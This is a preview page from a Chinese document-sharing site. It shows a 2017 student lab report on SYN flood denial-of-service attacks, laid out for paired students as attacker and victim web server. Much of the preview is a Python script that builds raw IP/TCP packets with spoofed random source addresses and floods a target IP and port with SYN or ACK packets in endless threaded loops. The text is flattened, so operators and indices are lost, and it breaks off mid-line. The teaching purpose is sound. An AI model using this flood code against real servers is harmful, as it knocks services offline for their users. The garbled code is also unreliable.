2017科研实验报告

上传人:第*** 文档编号:61713997 上传时间:2018-12-10 格式:DOC 页数:14 大小:2.28MB
返回 下载 相关 举报
2017科研实验报告_第1页
第1页 / 共14页
2017科研实验报告_第2页
第2页 / 共14页
2017科研实验报告_第3页
第3页 / 共14页
2017科研实验报告_第4页
第4页 / 共14页
2017科研实验报告_第5页
第5页 / 共14页
点击查看更多>>
资源描述

《2017科研实验报告》由会员分享,可在线阅读,更多相关《2017科研实验报告(14页珍藏版)》请在金锄头文库上搜索。

1、实验五分析SYN FLOOd攻击原理一、实验内容通过分小组实施SYN FLood攻击,掌握分布式拒绝服务攻击原理。二、实验目的和要求1. 实验目的本实验的教学目的是熟悉SYN flood的攻击原理与过程,及IPv4所存在的固有缺陷。2. 实验要求本实验的基本要求:学生在实验课前分小组准备,每组分角色确定实施攻击者和被攻击者,熟悉SYN flood的攻击原理与过程,观察攻击现象。三、实验设备(软、硬件)硬件:性能较强的PC机软件:Windows NT操作系统四,实验设计方案;1两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台web服务器,攻击方攻击对方得web服务器,2,附syn-f

2、lood攻击得源码,注意攻击 ip地址要做改动五,实验原理在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的TCP SYN报文,受害主机分配必要的资源,然后向源地址返回SYNACK包,并等待源端返回ACK包。由于源地址是伪造的,所以源端永远都不会返回ACK报文,受害主机继续发送SYNACK包,并将半连接放入端口的积压队列中,虽然一般的主机都有超时机制和默认的重传次数,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCP SYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。 六,实验

3、方法及步骤1, 被攻击方配置web服务器2, 攻击方设置要攻击服务器的ip地址,然后编译源程序。3, 运行synflood,攻击web服务器4, 被攻击方打开命令行提示窗口,运行netstat命令,观察响应,netstat命令显示了所有当前连接,可以注意到netstat所返回的记录5, 试着打开对方web服务器的网页,观察结果;6, 试着同时多台机器对同一web服务器发起攻击,然后用一台机器登陆web服务器,观察结果七,试验数据记录与处理此项可以不填八,试验结果及分析一台用户机攻击服务器(ubantu下python)开启三个终端然而,python代码并不能很好的攻击,因为python语言比c和

4、java等离机器语言更远,大概运行速度是c的1/30倍,后来经试验发现运行任何Python所占用cpu在23左右。于是接下来采用c语言,python代码如下:#!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread): #创建一个进程的方法 def _init_(self,dstip,dstport,mode): threading.Thread._init_(self) self.dstip

5、= dstip self.dstport =dstport self.mode =mode def run(self): attack(self.dstip,self.dstport,self.mode) def checksum(data): #检验和计算 s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(datai) + (ord(datai+1) 16): s = (s & 0xFFFF) + (s 16) s = s & 0xffff return s def IP(source,destination

6、,udplen): #创建一个ip数据包头 version = 4 ihl = 5 tos = 0 tl = 20+udplen ip_id = random.randint(1,65535) flags = 0 offset = 0 ttl = 128 protocol =6 check =0 source = socket.inet_aton(source) destination = socket.inet_aton(destination) ver_ihl = (version 4)+ihl flags_offset = (flags 13)+offset ip_header = st

7、ruct.pack(!BBHHHBBH4s4s, ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, check, source, destination) check=checksum(ip_header) ip_header = struct.pack(!BBHHHBBH4s4s, ver_ihl, tos, tl, ip_id, flags_offset, ttl, protocol, socket.htons(check), source, destination) return ip_header def TCP(srcip,d

8、stip,protocol,dp,fg): #创建一个tcp数据报头 source = socket.inet_aton(srcip) destination = socket.inet_aton(dstip) srcport=random.randint(1,65535) dstport=dp syn_num=random.randint(1,4000000000) if fg = 2: ack_num=0 else: ack_num=random.randint(1,4000000000) hlen=5 zero=0 flag=fg window=8192 check=0 point=0

9、tcplen=hlen h_f=(hlen 12)+flag TCP_head=struct.pack(!4s4sHHHHIIHHHH,source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point) check=checksum(TCP_head) TCP_head=struct.pack(!HHIIHHHH,srcport,dstport,syn_num,ack_num,h_f,window,check,point) return TCP_head def makepacke

10、t(dstip,dstport,fg): #选择syn&ack时的混合模式 srcip=str(random.choice(ip_first)+.+str(random.randint(1,255)+.+str(random.randint(1,255)+.+str(random.randint(1,255) protocol=6 ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg) return ippacket def attack(dstip,dstport,mode): #进攻 if mode = syn: fg

11、=2 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport) elif mode = ack: fg=18 while 1: data=makepacket(dstip,dstport,fg) s.sendto(data,(dstip,dstport) elif mode = syn&ack: while 1: data=makepacket(dstip,dstport,2) s.sendto(data,(dstip,dstport) data=makepacket(dstip,dstport,18) s.sendto(data,(dstip,dstport) else: print DONT bb! dstip=raw_input(attack IP:) #提示用户输入dstport=int(input(attack PORT:) #提示用户输入mode=raw_input(mode:(syn or ack or syn&ack) #提示用户输入threads=int(input(线程数threads:) #提示用户输入 ip_first= #遍历源地址的前8位for i in

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 办公文档 > 解决方案

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号